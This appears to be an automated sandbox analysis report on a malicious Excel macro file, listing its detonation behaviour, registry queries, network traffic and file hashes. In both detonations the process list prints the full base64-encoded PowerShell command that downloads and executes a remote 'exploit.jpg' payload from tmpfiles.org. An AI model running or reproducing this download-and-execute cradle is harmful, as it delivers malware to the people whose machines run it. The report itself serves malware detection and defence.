Analysis Overview
SHA256
ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8
Threat Level: Known bad
The file ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Suspicious Office macro
Blocklisted process makes network request
Deletes itself
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
NTFS ADS
Suspicious use of SetWindowsHookEx
Checks processor information in registry
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: RenamesItself
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-08 21:54
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-08 21:54
Reported
2024-08-08 21:55
Platform
win7-20240705-en
Max time kernel
23s
Max time network
18s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\E5E67F00\:Zone.Identifier:$DATA | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: RenamesItself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2680 wrote to memory of 2888 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2680 wrote to memory of 2888 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2680 wrote to memory of 2888 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2680 wrote to memory of 2888 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 172.67.195.247:443 | tmpfiles.org | tcp |
Files
memory/2680-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2680-1-0x00000000728AD000-0x00000000728B8000-memory.dmp
memory/2680-6-0x00000000065E0000-0x00000000066E0000-memory.dmp
memory/2680-7-0x00000000065E0000-0x00000000066E0000-memory.dmp
memory/2680-15-0x00000000728AD000-0x00000000728B8000-memory.dmp
memory/2680-16-0x00000000065E0000-0x00000000066E0000-memory.dmp
memory/2680-17-0x00000000065E0000-0x00000000066E0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-08 21:54
Reported
2024-08-08 21:55
Platform
win10v2004-20240802-en
Max time kernel
46s
Max time network
37s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\95F75E00\:Zone.Identifier:$DATA | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2960 wrote to memory of 3048 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2960 wrote to memory of 3048 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 172.67.195.247:443 | tmpfiles.org | tcp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 247.195.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.190.18.2.in-addr.arpa | udp |
Files
memory/2960-0-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp
memory/2960-2-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp
memory/2960-1-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp
memory/2960-4-0x00007FFAAE4AD000-0x00007FFAAE4AE000-memory.dmp
memory/2960-3-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp
memory/2960-5-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-10-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-11-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-12-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-9-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-13-0x00007FFA6BBC0000-0x00007FFA6BBD0000-memory.dmp
memory/2960-8-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-14-0x00007FFA6BBC0000-0x00007FFA6BBD0000-memory.dmp
memory/2960-7-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-6-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp
memory/2960-15-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-17-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-16-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-31-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-49-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
memory/2960-48-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4mc0dgew.nfp.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3048-64-0x00000256B6E90000-0x00000256B6EB2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls
| MD5 | 287ea68e88384d32923b41c739483f40 |
| SHA1 | bd2b231f14ab9328fcd350ea09427d3f57fdc41c |
| SHA256 | 9f01dc1fb48508c9b0a229c0076e4d36cebda06eb802c40f8cdf983c8653f07e |
| SHA512 | ea0cf3e91af2124d2b786671b04ea887f307b8384bf46fa0e4cd85da8eade4fcbe26e4cf08b9a19a595bbccb2d67c81b5b385d970037f1a4a67855ae5b760c4f |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 99401428b89b7e9897e65f29c790e7e6 |
| SHA1 | 5cffffedf2606c82ef063ed9560c1e9b667812ea |
| SHA256 | c151dfb0a72774d13ee7a6576bd2cb024eee52799b1a68f8d8f355c91f0b2f24 |
| SHA512 | 14849a1d19d899b757a3148507c2e7e2ca27a67d03707f6bede5ba7017b4b25860ee10bbdafc46b4f499db6025a9b20fdf3fcbdca46102712cc7709633c54a0e |
memory/2960-83-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp